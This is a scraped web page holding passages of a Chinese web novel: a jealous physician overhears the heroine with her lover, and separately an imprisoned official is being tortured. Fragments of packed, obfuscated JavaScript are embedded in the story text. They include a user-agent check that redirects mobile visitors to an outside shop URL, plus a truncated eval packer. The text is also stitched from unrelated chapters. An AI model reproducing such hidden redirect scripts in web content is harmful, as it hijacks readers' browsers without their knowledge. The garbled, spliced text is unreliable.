0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13617432|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药童眼睛一亮,他们比谁都清楚这莲子的金贵,但也只敢守着,连馋都不敢馋。 而纪老板就这么送给他们了! “喔!谢谢纪老板!” 谢谢他们这位长得好看有礼貌还善待下人的绝世好老板! 纪和致将汤盅放进食盒,提着它走出房前,还温声叮嘱了句:“外间不忙,你们就趁热喝吧,不必担忧管事,他那儿我自去说。” “呜,好的纪老板,您慢走纪老板。”两个药童感动得眼泪汪汪。 纪和致颔首,转身离去。 其实纪和致知道,他不应该这么快回去。 可当手触及院门时,他只犹豫了一秒,垂眸,继而不急不缓地推开了它们。 院中阿仓还抱剑站着,她的这个侍卫也像是被她遗忘了的东西,想起来时过来见一见,想不起来便任他落灰孤寂。 同作为少女的遗弃物,似乎纪和致应该同情阿仓。 他放下食盒,背身对着耳室,右手后是阿仓。 他如果要表达同情,他此时也该主动出声,以掩饰院中的沉寂。 掩饰——在这种沉寂里而显得分外刺耳的,由耳室门缝里传出的细密绵绵的声响。 但最终谁都没说话。 纪大夫抿唇,慢慢地打开食盒,修长食指端出汤盅时,空气里浮动的甜香忽而加重。 这一点点的气味变化,于天生嗅觉敏锐过人的纪大夫而言,不亚于有人在他鼻下掐破了一只鲜艳淋漓的熟桃。 纪和致的手顿在汤盅边沿,砂制的盅沿源源不断地将热汤的灼热滚上僵木的指腹,指尖很快被烫出了殷红的颜色。 只是手的主人还没收回,像是没感受到指下的危机。 41. 第 41 章 第41章 当只能靠嗅觉去想象一个人时,很多本来正常的声音就失了本来的意味。 一点桌脚移动的咯吱声,会让人不由自主地想,桌上的人坐得惯那种硬木吗? 一些衣物摩挲的细碎声响,又会让人心烦,真的靠得这样紧密吗? 最后万般声响回归死寂,这时便连风声都是错的。 耳室的门依旧关着,自里面传出少年央告的声音:“……没关系的,我一点不累,再来一次嘛,好甜的,息息别心疼我……” “啪”的一声亮响,像是巴掌落在脸上的声音。 而后就是少年的闷笑:“息息的手好软,香香绵绵的,再打一次吧,息息乖乖……” 接着一连串碎声细响,少女的声音终于出现,微哑的、软绵绵的:“纪和致要回来了。” 猝不及防听见自己名字的青年,兀地一顿,心头猛地一跳。 心声鼓噪,胸腔里像有一只秋蝉醒了。 将死的秋蝉,用声嘶力竭反抗它的短命,并辅以口器蚕食主人最柔软的心尖肉,以期为生命枷锁所困的自己延缓刑期。 老蝉钻心,一直往极深的地方钻进去。 纪和致以为自己的心很早就麻木了,昏沉如死,可是现在,他的心被这样钻着,原来也会酸痛、抽搐。 绵而不绝的酸楚反将上喉咙,纪和致竟而发现早晨灌下的药,现在才爆发出苦涩的滋味。 “他才不会来呢,这个蠢木大夫故意躲着我们呢。”上官慜之这次没有压低声量,他似乎笃定了纪和致会如他所想。 ——毕竟这个所谓的“蠢木大夫”是特意给他们举荐了耳室,方才离去的。 此话一落,少女似乎有些安心,“纪老板真君子。” 少年嗤笑一声,但没再说什么。 屋内又响起一阵喁喁私语,轻得像淡淡的云,从门缝里飘出已不剩什么。 只是鼻尖的甜香仍然浓郁,馥郁如花,香云阵阵。 背身对着耳室的白衣青年狠狠闭了闭眸,咬肌不明显地绷紧。 如果最开始……在永安药铺,他看见的不是少女带来的利益和自身枷锁,或许他能看清心里有只蝉,有只活蝉。 在遇见沈息之前,这蝉还是有着坚硬外壳的蛹,冰冷坚硬的、死了一样的受缚体。 她走近一步,坚冷的外壳便已松动一分。 当他们成为彼此的第一个朋友时,当香料铺的那个吻在夜间反复将他折磨时,蝉蜕便已宣告它辉煌的诞生了。 此后,柔软、颤抖、恐惧的内里,终于在向打开它外壳的少女摇动不定。 渐渐的,发乎灵魂的渴望渗进骨髓里,鲜血为此而奔腾,一切固定的坚硬的世界都被这平生首次的感觉冲撞得跌宕颠倒。 如果身子的主人奉行这颠倒怪错的感觉,那么现在在耳室与她低笑细语的,或许就不是那个狡猾可憎的少年。 只是不会。 欲/望可以压抑,可以自以为没有,可以用千百种方法忽视和拒绝它的存在。 而纪和致最擅长压抑欲/望。 他从前总自恃自己超乎寻常的自控力,他能控制自己的心不去愤怒、怨恨,能控制自己的身子不堕落、保持洁净。 他只要一直平静、算计下去,他就能为父母报仇、亲手斩断身心的枷锁,再承接父母之志,成为一个游走四方的好大夫。 如果他一直这样下去。 麻木、但安全。 人生是步步为营的,每一步都是谨慎冷静的,纪和致今年十九,在及冠这年,他准备送自己一份大礼。 倘若那日午后,铺子里没走进一位少女,药杵下的决明子本来该换成断肠草。 倘若她没执意买下香料铺,铺子里的那只厉鬼本该当夜就降临永安药铺。 他准备用自己血肉制成的及冠礼,那日里被少女纤手一挥,毫无回寰余地烂了。 她不是故意的,她却对他做出补偿:“和我一起开个药铺吧。” 这一步该走哪儿? 以身为棋的执棋手,人生第一次感到惶惑。 他麻木的安全感被一个自称为“沈息”的少女击裂了一条缝。 她唤醒了他心中的死蝉,然后又不耐老蝉漫长的复活时间,转身握住了另一个人的手。 那个人——叫上官慜之的,曾经名满天下的少年将军,如今的花楼贱奴。 上官慜之心底没有东西,他只靠想死而活着。 纪和致从医多年,从无数张将死的面孔上看过生欲,自然也看得透上官慜之那张活人脸上的死志。 上官慜之是已经死了的活人。 他的心里挤满了让他生不如死的某种痛苦,这些痛苦让他荒芜和死寂、外加求死无能的疯狂。 这种人便是华佗在世也救不回来。 纪和致想起他和上官慜之做的交易,“满足她的一切要求。” “我便送你一场好死。” 他现在做不到的,先让一个活死人去铺路。 一个活死人,神仙也救不了的人。 这种人在他的眼底,只是一滩捧都捧不起来的烂泥。 所以可以被践踏、被抛弃,也丝毫不必怜惜。 纪和致用过很多人铺路,这一次也毫不手软。 他尽可以去处理他自己的枷锁,他仍然选择亲手锯断自己的束缚。 在此之前,他用温和和微笑遮掩他看向她时深沉的渴望。 但是又走错了一步。 怎么会又走错了…… 上官慜之活了,他复生过来,比他心底的蝉晚开始,却以超常的速度焕发了生机。 他们的交易作废了。 上官慜之不想死,他现在只想用尽一切活的时间和她耳鬓厮磨、纠缠亲密。 他真的是一滩烂泥,阴暗潮湿的本质,沾上便灾难似地粘稠。 而她真是天才。 她不仅喜欢一个活死人,她不仅救活了他,在看见他的阴暗疯狂后,她竟然还在喜欢他。 莲子汤似乎冷了,烫伤的手指失去灼痛,阴冷起来。 纪和致听见耳室的门动了,门打开,少女呀地惊呼一声:“纪老板?” 沈盈息没想到上官慜之信誓旦旦保证不在外面的人,现在一开门就看见了。 她立刻瞪了眼身侧的少年,后者很无辜地耸了下肩,“纪大夫可能刚刚到嘛,他是君子~” 沈盈息犹豫一下,而后选择了自己想要的真相:“纪老板你才回来么,手里的是莲子汤?我来看看。” 说罢,不待纪和致回答,便牵着少年上前。 上官慜之自然地把男人挤到一旁,而后将汤盅端出,发现热度刚好,入口温热。 这才给沈盈息盛了一碗,送到少女面前,“息息尝尝。” 少年眼睛亮亮的,盯着少女的表情,满脸期待。 沈盈息看见他这种表情,不由噗嗤一声笑了出来:“又不是你做的,得意什么呢?” 上官慜之乐了,“这我亲手盛的啊,一滴都没有撒出来呢,盛的十分完美的一碗汤!” 少女笑哼一声。 上官慜之拿帕子接勺子,为自己的妻子鞍前马后地忙着。 在一旁看着的两个男人便成了透明的空气。 莲子汤真正的制作者纪和致,望着少年少女其乐融融的画面,脸上的表情很正常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在这三合一的朝堂背景下,恪守本职、刚正不阿的蒋廷尉便成了绊脚石和铁豌豆。 踢不开嚼不烂的,只好做死尸埋了了事。 三位大人物便如此草率下了命令,但蒋事珖至今未死,是因为季谨还有点良心。 当然,季谨就是季谨,有良心,良心也是黑的。 他只是想享受刚正者受尽折磨而傲骨尽碎的崩溃,他吊着蒋事珖的命,像用鹰爪拨弄将死的食物,以便收取身心的愉快。 蒋事珖一直没崩溃。 听闻刑部在本朝的刑具已经用完了,季谨搬出了前朝被先帝废除的刑罚,一一施加在蒋事珖的身上。 沈盈息两个月来,见了蒋事珖五次,最近的一次去看,蒋大人不仅毁了容,还断了一只腿,两只眼睛没了光便再不能视物,已经成了夜瞎子。 月初的时候去见蒋事珖,男人在地牢里已经看不见她,但对她道:“牢中多了许多虫鼠,某的身子亦已不堪入眼。沈家主心善,保全某临死前最后的脸面,日后便不必再来了。” 蒋事珖确实伤痕累累,浑身上下没一块好肉。 他是沈盈息见过的最狼狈的纯阳正气者。 只不过再狼狈,骨子里也是骄傲的。 沈盈息没答应蒋事珖,他以为他自己命数已尽,不愿她下次再来,看见的是他丑陋的尸体。 但其实他的死局还可解。 一手促成他死局的三个人,季谨和她彼此讨厌,不可交涉。 国师留微理行事诡异、作态放荡,难以交流。 剩下一位,那位今年二十五正值壮年却痴迷长生的皇帝,倒是一个很好的突破口。 沈盈风两月来也在四处奔走,好在为沈盈息和他二人拿到了宫宴的请帖。 宫宴结束,想必蒋事珖就能出来了。 届时再过个月圆夜,她和上官慜之的三个月也该过完了。